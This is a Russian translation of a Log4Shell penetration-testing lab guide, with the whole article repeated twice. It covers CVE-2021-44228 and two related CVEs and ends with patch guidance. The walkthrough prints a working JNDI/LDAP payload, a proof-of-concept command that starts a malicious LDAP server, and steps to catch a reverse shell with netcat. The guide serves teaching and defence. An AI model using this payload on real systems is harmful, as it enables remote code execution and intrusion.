В этой статье мы обсудим и продемонстрируем в нашей лабораторной установке эксплуатацию новой уязвимости, идентифицированной как CVE-2021-44228, влияющей на пакет ведения журналов Java, Log4J. Эта уязвимость имеет оценку серьезности 10.0, наиболее критическую, и предлагает удаленное выполнение кода на хостах, использующих программное обеспечение, использующее утилиту log4j. Эту атаку также называют "Log4Shell" .
Log4jshell
CVE-2021-44228
Описание: Apache Log4j2 2.0-beta9 до 2.12.1 и 2.13.0 — 2.15.0 Функции JNDI, используемые в конфигурации, сообщениях журнала и параметрах, не защищают от контролируемых злоумышленником LDAP и других конечных точек, связанных с JNDI. Злоумышленник, который может управлять сообщениями журнала или параметрами сообщений журнала, может выполнить произвольный код, загруженный с серверов LDAP, когда включена подстановка поиска сообщений.
Тип уязвимости - Удаленное выполнение кода
Серьезность - критическая
Базовая оценка CVSS - 10,0
Затронутые версии - все версии от 2.0-beta9 до 2.14.1
CVE-2021-45046
Было обнаружено, что исправление для устранения CVE-2021-44228 в Apache Log4j 2.15.0 было неполным в некоторых конфигурациях, отличных от стандартных. Если в конфигурации ведения журнала используется макет шаблона не по умолчанию с поиском контекста (например, $${ctx:loginId}), злоумышленники, контролирующие входные данные карты контекста потока (MDC), могут создавать вредоносные входные данные с использованием шаблона поиска JNDI, что приводит к утечке информации и удаленному выполнению кода в некоторых средах и локальному выполнению кода во всех средах; удаленное выполнение кода было продемонстрировано в macOS, но не в других протестированных средах.
Тип уязвимости - Удаленное выполнение кода
Серьезность - критическая
Базовая оценка CVSS - 9,0
Затронутые версии - Все версии с 2.0-beta9 по 2.15.0, кроме 2.12.2.
CVE-2021-45105
Версии Apache Log4j2 с 2.0-alpha1 по 2.16.0 не защищали от неконтролируемой рекурсии при самореферентном поиске. Если в конфигурации ведения журнала используется шаблон шаблона не по умолчанию с контекстным поиском (например, $${ctx:loginId}), злоумышленники, контролирующие входные данные Thread Context Map (MDC), могут создавать вредоносные входные данные, содержащие рекурсивный поиск, что приведет к ошибке StackOverflowError, которая завершит процесс. Она также известно как DOS-атака (отказ в обслуживании).
Тип уязвимости - Отказ в обслуживании
Высокий уровень - серьезности
Базовая оценка CVSS - 7,5
Затронутые версии - Все версии от 2.0-beta9 до 2.16.0
Что такое Log4J ?
Log4j — это утилита ведения журналов на основе Java, входящая в состав Apache Logging Services. Log4j — одна из нескольких сред ведения журнала Java, которая широко используется миллионами приложений Java в Интернете.
Что такое LDAP и JNDI
LDAP (облегченный протокол доступа к каталогам) — это открытый и кроссплатформенный протокол, который используется для проверки подлинности службы каталогов. Он предоставляет язык общения, который приложение использует для связи с другими службами каталогов. Службы каталогов хранят много важной информации, такой как данные учетных записей пользователей, пароли, учетные записи компьютеров и т. д., которые используются совместно с другими устройствами в сети.
JNDI (интерфейс именования и каталогов Java) — это интерфейс прикладного программирования (API), который предоставляет функции именования и каталогов для приложений, написанных с использованием языка программирования Java.
Химия JNDI и LDAP
JNDI предоставляет стандартный API для взаимодействия со службами имен и каталогов с использованием интерфейса поставщика услуг (SPI). JNDI предоставляет Java-приложениям и объектам мощный и прозрачный интерфейс для доступа к службам каталогов, таким как LDAP. В таблице ниже показаны общие эквивалентные операции LDAP и JNDI.
Lookup Log4J JNDI
Lookups — это своего рода механизм, добавляющий значения в конфигурацию log4j в произвольных местах. Log4j имеет возможность выполнять несколько поисков, таких как поиск по карте, системным свойствам и JNDI (Java Naming and Directory Interface).
Log4j использует JNDI API для получения служб именования и каталогов от нескольких доступных поставщиков услуг: LDAP, COS (общие службы объектов), реестр Java RMI (удаленный вызов метода), DNS (служба доменных имен) и т. д., если эта функция реализована, тогда мы должны добавить эту строку кода где-нибудь в программе: ${jndi:logging/context-name}
Обычный сценарий Log4J
На приведенной выше диаграмме показан обычный сценарий log4j.
Эксплуатация сценария Log4j
Злоумышленник, который может управлять сообщениями журнала или параметрами сообщений журнала, может выполнить произвольный код на уязвимом сервере, загруженном с серверов LDAP, когда включена подстановка поиска сообщений. В результате злоумышленник может создать специальный запрос, который заставит утилиту удаленно загрузить и выполнить полезную нагрузку.
Ниже приведен наиболее распространенный пример использования комбинации JNDI и LDAP:
${jndi:ldap://<host>:<port>/<payload>}
1. Злоумышленник вставляет поиск JNDI в поле заголовка, которое, вероятно, будет зарегистрировано.
2. Строка передается в log4j для регистрации.
3. Log4j интерполирует строку и запрашивает вредоносный сервер LDAP.
4. Сервер LDAP отвечает информацией о каталоге, которая содержит вредоносный класс Java.
5. Java десериализует (или загружает) вредоносный класс Java и выполняет его.
Настройка лаборного стенда
В лабораторной установке мы будем использовать виртуальную машину Kali в качестве атакующей машины и виртуальную машину Ubuntu в качестве целевой машины. Итак, давайте подготовим машину Ubuntu.
git clone https://github.com/kozmer/log4j-shell-poc.git
После завершения команды git clone перейдите в каталог log4j-shell-poc: Оказавшись внутри этого каталога, теперь мы можем выполнить команду docker:
cd log4j-shell-poc
docker build -t log4j-shell-poc .
После этого выполните вторую команду со страницы github:
docker run --network host log4j-shell-poc
Эти команды позволят нам использовать файл докера с уязвимым приложением.
После завершения у нас есть готовый уязвимый сервер веб-приложений. Теперь давайте перейдем к целевому IP-адресу в браузере нашего kali через порт 8080.
Итак, это приложение, уязвимое для Docker, и область, на которую влияет эта уязвимость, — это поле имени пользователя. Именно сюда мы собираемся ввести нашу полезную нагрузку. Итак, лабораторный стенд установлена. Наша уязвимая целевая машина запущена и работает. Пришло время для атаки.
Эксплуатация Log4j (CVE-2021-44228)
На машине kali нам нужно клонировать тот же репозиторий. Итак, введите следующую команду:
git clone https://github.com/kozmer/log4j-shell-poc.git
Теперь нам нужно установить JDK. Её можно скачать по следующей ссылке.
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Выберите правильную версию и загрузите ее внутри Kali Linux.
Теперь перейдите в папку загрузки и разархивируйте этот файл, выполнив команду, затем переместите извлеченный файл в папку /usr/bin
tar -xf jdk-8u202-linux-x64.tar.gz
mv jdk-8u202 /usr/bin
cd /usr/bin
После проверки давайте выйдем из этого каталога и перейдем в каталог log4j-shell-poc. Эта папка содержит скрипт Python, poc.py, который мы собираемся настроить в соответствии с настройками нашей лабы. Здесь вам нужно изменить "./jdk1.8.2.20/" на "/usr/bin/jdk1.8.0_202/" что мы и сделали здесь. Мы должны изменить путь к местоположению java и версии java в скрипте.
Теперь, когда все изменения внесены, нам нужно сохранить файл и подготовиться к атаке. На машине злоумышленника, то есть на Kali Linux, мы получим доступ к уязвимому докеру веб-приложению внутри браузера, введя IP-адрес машины с Ubuntu: 8080.
Теперь давайте инициируем прослушиватель netcat и начнем атаку.
Введите следующую команду в терминале
python3 poc.py --userip 192.168.29.163 --webport 8000 --lport 9001
Убедитесь, что вы находитесь в каталоге log4j-shell-poc при выполнении команды.
Этот сценарий запускал вредоносный локальный сервер LDAP.
Теперь скопируйте полную команду после отправки:
${jndi:ldap://192.168.29.163:1389/a}
вставьте её в браузере в поле имени пользователя. Это будет наша полезная нагрузка. В поле пароля можно указать что угодно.
Нажмите на кнопку входа, чтобы выполнить полезную нагрузку. Затем переключитесь на окна netcat, где мы должны получить реверс оболочку.
Мы, наконец, внутри этого уязвимого образа докера веб-приложения.
Защита
CVE-2021-44228: исправлено в Log4j 2.15.0 (Java 8).
Используйте один из следующих методов защиты:
- Пользователи Java 8 (или более поздней версии) должны выполнить обновление до версии 2.16.0.
- Пользователи Java 7 должны обновиться до версии 2.12.2.
- В противном случае в любом выпуске, кроме 2.16.0, вы можете удалить класс JndiLookup из пути к классам:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- Пользователям рекомендуется не включать JNDI в Log4j 2.16.0. Если требуется приложение JMS, используйте Log4j 2.12.2.
CVE-2021-45046: исправлено в Log4j 2.12.2 (Java 7) и Log4j 2.16.0 (Java 8).
Используйте один из следующих методов защиты:
- Пользователи Java 8 (или более поздней версии) должны выполнить обновление до версии 2.16.0.
- Пользователи Java 7 должны обновиться до версии 2.12.2.
- В противном случае в любом выпуске, кроме 2.16.0, вы можете удалить класс JndiLookup из пути к классам:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- Пользователям рекомендуется не включать JNDI в Log4j 2.16.0. Если требуется JMS Appender, используйте Log4j 2.12.2.
CVE-2021-45105: исправлено в Log4j 2.17.0 (Java 8).
Используйте один из следующих методов защиты:
- Пользователи Java 8 (или более поздней версии) должны выполнить обновление до версии 2.17.0.
- В PatternLayout в конфигурации ведения журнала замените поиск контекста, например ${ctx:loginId} или $${ctx:loginId}, шаблонами карты контекста потока (%X, %mdc или %MDC).
- В противном случае в конфигурации удалите ссылки на поиск контекста, такие как ${ctx:loginId} или $${ctx:loginId}, если они исходят из источников, внешних по отношению к приложению, таких как заголовки HTTP или пользовательский ввод.
Чтобы узнать больше о защите, вы можете перейти по следующей ссылке https://logging.apache.org/log4j/2.x/security.html.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/a-detailed-guide-on-log4j-penetration-testing/
Log4jshell
CVE-2021-44228
Описание: Apache Log4j2 2.0-beta9 до 2.12.1 и 2.13.0 — 2.15.0 Функции JNDI, используемые в конфигурации, сообщениях журнала и параметрах, не защищают от контролируемых злоумышленником LDAP и других конечных точек, связанных с JNDI. Злоумышленник, который может управлять сообщениями журнала или параметрами сообщений журнала, может выполнить произвольный код, загруженный с серверов LDAP, когда включена подстановка поиска сообщений.
Тип уязвимости - Удаленное выполнение кода
Серьезность - критическая
Базовая оценка CVSS - 10,0
Затронутые версии - все версии от 2.0-beta9 до 2.14.1
CVE-2021-45046
Было обнаружено, что исправление для устранения CVE-2021-44228 в Apache Log4j 2.15.0 было неполным в некоторых конфигурациях, отличных от стандартных. Если в конфигурации ведения журнала используется макет шаблона не по умолчанию с поиском контекста (например, $${ctx:loginId}), злоумышленники, контролирующие входные данные карты контекста потока (MDC), могут создавать вредоносные входные данные с использованием шаблона поиска JNDI, что приводит к утечке информации и удаленному выполнению кода в некоторых средах и локальному выполнению кода во всех средах; удаленное выполнение кода было продемонстрировано в macOS, но не в других протестированных средах.
Тип уязвимости - Удаленное выполнение кода
Серьезность - критическая
Базовая оценка CVSS - 9,0
Затронутые версии - Все версии с 2.0-beta9 по 2.15.0, кроме 2.12.2.
CVE-2021-45105
Версии Apache Log4j2 с 2.0-alpha1 по 2.16.0 не защищали от неконтролируемой рекурсии при самореферентном поиске. Если в конфигурации ведения журнала используется шаблон шаблона не по умолчанию с контекстным поиском (например, $${ctx:loginId}), злоумышленники, контролирующие входные данные Thread Context Map (MDC), могут создавать вредоносные входные данные, содержащие рекурсивный поиск, что приведет к ошибке StackOverflowError, которая завершит процесс. Она также известно как DOS-атака (отказ в обслуживании).
Тип уязвимости - Отказ в обслуживании
Высокий уровень - серьезности
Базовая оценка CVSS - 7,5
Затронутые версии - Все версии от 2.0-beta9 до 2.16.0
Что такое Log4J ?
Log4j — это утилита ведения журналов на основе Java, входящая в состав Apache Logging Services. Log4j — одна из нескольких сред ведения журнала Java, которая широко используется миллионами приложений Java в Интернете.
Что такое LDAP и JNDI
LDAP (облегченный протокол доступа к каталогам) — это открытый и кроссплатформенный протокол, который используется для проверки подлинности службы каталогов. Он предоставляет язык общения, который приложение использует для связи с другими службами каталогов. Службы каталогов хранят много важной информации, такой как данные учетных записей пользователей, пароли, учетные записи компьютеров и т. д., которые используются совместно с другими устройствами в сети.
JNDI (интерфейс именования и каталогов Java) — это интерфейс прикладного программирования (API), который предоставляет функции именования и каталогов для приложений, написанных с использованием языка программирования Java.
Химия JNDI и LDAP
JNDI предоставляет стандартный API для взаимодействия со службами имен и каталогов с использованием интерфейса поставщика услуг (SPI). JNDI предоставляет Java-приложениям и объектам мощный и прозрачный интерфейс для доступа к службам каталогов, таким как LDAP. В таблице ниже показаны общие эквивалентные операции LDAP и JNDI.
Lookup Log4J JNDI
Lookups — это своего рода механизм, добавляющий значения в конфигурацию log4j в произвольных местах. Log4j имеет возможность выполнять несколько поисков, таких как поиск по карте, системным свойствам и JNDI (Java Naming and Directory Interface).
Log4j использует JNDI API для получения служб именования и каталогов от нескольких доступных поставщиков услуг: LDAP, COS (общие службы объектов), реестр Java RMI (удаленный вызов метода), DNS (служба доменных имен) и т. д., если эта функция реализована, тогда мы должны добавить эту строку кода где-нибудь в программе: ${jndi:logging/context-name}
Обычный сценарий Log4J
На приведенной выше диаграмме показан обычный сценарий log4j.
Эксплуатация сценария Log4j
Злоумышленник, который может управлять сообщениями журнала или параметрами сообщений журнала, может выполнить произвольный код на уязвимом сервере, загруженном с серверов LDAP, когда включена подстановка поиска сообщений. В результате злоумышленник может создать специальный запрос, который заставит утилиту удаленно загрузить и выполнить полезную нагрузку.
Ниже приведен наиболее распространенный пример использования комбинации JNDI и LDAP:
${jndi:ldap://<host>:<port>/<payload>}
1. Злоумышленник вставляет поиск JNDI в поле заголовка, которое, вероятно, будет зарегистрировано.
2. Строка передается в log4j для регистрации.
3. Log4j интерполирует строку и запрашивает вредоносный сервер LDAP.
4. Сервер LDAP отвечает информацией о каталоге, которая содержит вредоносный класс Java.
5. Java десериализует (или загружает) вредоносный класс Java и выполняет его.
Настройка лаборного стенда
В лабораторной установке мы будем использовать виртуальную машину Kali в качестве атакующей машины и виртуальную машину Ubuntu в качестве целевой машины. Итак, давайте подготовим машину Ubuntu.
git clone https://github.com/kozmer/log4j-shell-poc.git
После завершения команды git clone перейдите в каталог log4j-shell-poc: Оказавшись внутри этого каталога, теперь мы можем выполнить команду docker:
cd log4j-shell-poc
docker build -t log4j-shell-poc .
После этого выполните вторую команду со страницы github:
docker run --network host log4j-shell-poc
Эти команды позволят нам использовать файл докера с уязвимым приложением.
После завершения у нас есть готовый уязвимый сервер веб-приложений. Теперь давайте перейдем к целевому IP-адресу в браузере нашего kali через порт 8080.
Итак, это приложение, уязвимое для Docker, и область, на которую влияет эта уязвимость, — это поле имени пользователя. Именно сюда мы собираемся ввести нашу полезную нагрузку. Итак, лабораторный стенд установлена. Наша уязвимая целевая машина запущена и работает. Пришло время для атаки.
Эксплуатация Log4j (CVE-2021-44228)
На машине kali нам нужно клонировать тот же репозиторий. Итак, введите следующую команду:
git clone https://github.com/kozmer/log4j-shell-poc.git
Теперь нам нужно установить JDK. Её можно скачать по следующей ссылке.
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Выберите правильную версию и загрузите ее внутри Kali Linux.
Теперь перейдите в папку загрузки и разархивируйте этот файл, выполнив команду, затем переместите извлеченный файл в папку /usr/bin
tar -xf jdk-8u202-linux-x64.tar.gz
mv jdk-8u202 /usr/bin
cd /usr/bin
После проверки давайте выйдем из этого каталога и перейдем в каталог log4j-shell-poc. Эта папка содержит скрипт Python, poc.py, который мы собираемся настроить в соответствии с настройками нашей лабы. Здесь вам нужно изменить "./jdk1.8.2.20/" на "/usr/bin/jdk1.8.0_202/" что мы и сделали здесь. Мы должны изменить путь к местоположению java и версии java в скрипте.
Теперь, когда все изменения внесены, нам нужно сохранить файл и подготовиться к атаке. На машине злоумышленника, то есть на Kali Linux, мы получим доступ к уязвимому докеру веб-приложению внутри браузера, введя IP-адрес машины с Ubuntu: 8080.
Теперь давайте инициируем прослушиватель netcat и начнем атаку.
Введите следующую команду в терминале
python3 poc.py --userip 192.168.29.163 --webport 8000 --lport 9001
Убедитесь, что вы находитесь в каталоге log4j-shell-poc при выполнении команды.
Этот сценарий запускал вредоносный локальный сервер LDAP.
Теперь скопируйте полную команду после отправки:
${jndi:ldap://192.168.29.163:1389/a}
вставьте её в браузере в поле имени пользователя. Это будет наша полезная нагрузка. В поле пароля можно указать что угодно.
Нажмите на кнопку входа, чтобы выполнить полезную нагрузку. Затем переключитесь на окна netcat, где мы должны получить реверс оболочку.
Мы, наконец, внутри этого уязвимого образа докера веб-приложения.
Защита
CVE-2021-44228: исправлено в Log4j 2.15.0 (Java 8).
Используйте один из следующих методов защиты:
- Пользователи Java 8 (или более поздней версии) должны выполнить обновление до версии 2.16.0.
- Пользователи Java 7 должны обновиться до версии 2.12.2.
- В противном случае в любом выпуске, кроме 2.16.0, вы можете удалить класс JndiLookup из пути к классам:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- Пользователям рекомендуется не включать JNDI в Log4j 2.16.0. Если требуется приложение JMS, используйте Log4j 2.12.2.
CVE-2021-45046: исправлено в Log4j 2.12.2 (Java 7) и Log4j 2.16.0 (Java 8).
Используйте один из следующих методов защиты:
- Пользователи Java 8 (или более поздней версии) должны выполнить обновление до версии 2.16.0.
- Пользователи Java 7 должны обновиться до версии 2.12.2.
- В противном случае в любом выпуске, кроме 2.16.0, вы можете удалить класс JndiLookup из пути к классам:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- Пользователям рекомендуется не включать JNDI в Log4j 2.16.0. Если требуется JMS Appender, используйте Log4j 2.12.2.
CVE-2021-45105: исправлено в Log4j 2.17.0 (Java 8).
Используйте один из следующих методов защиты:
- Пользователи Java 8 (или более поздней версии) должны выполнить обновление до версии 2.17.0.
- В PatternLayout в конфигурации ведения журнала замените поиск контекста, например ${ctx:loginId} или $${ctx:loginId}, шаблонами карты контекста потока (%X, %mdc или %MDC).
- В противном случае в конфигурации удалите ссылки на поиск контекста, такие как ${ctx:loginId} или $${ctx:loginId}, если они исходят из источников, внешних по отношению к приложению, таких как заголовки HTTP или пользовательский ввод.
Чтобы узнать больше о защите, вы можете перейти по следующей ссылке https://logging.apache.org/log4j/2.x/security.html.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/a-detailed-guide-on-log4j-penetration-testing/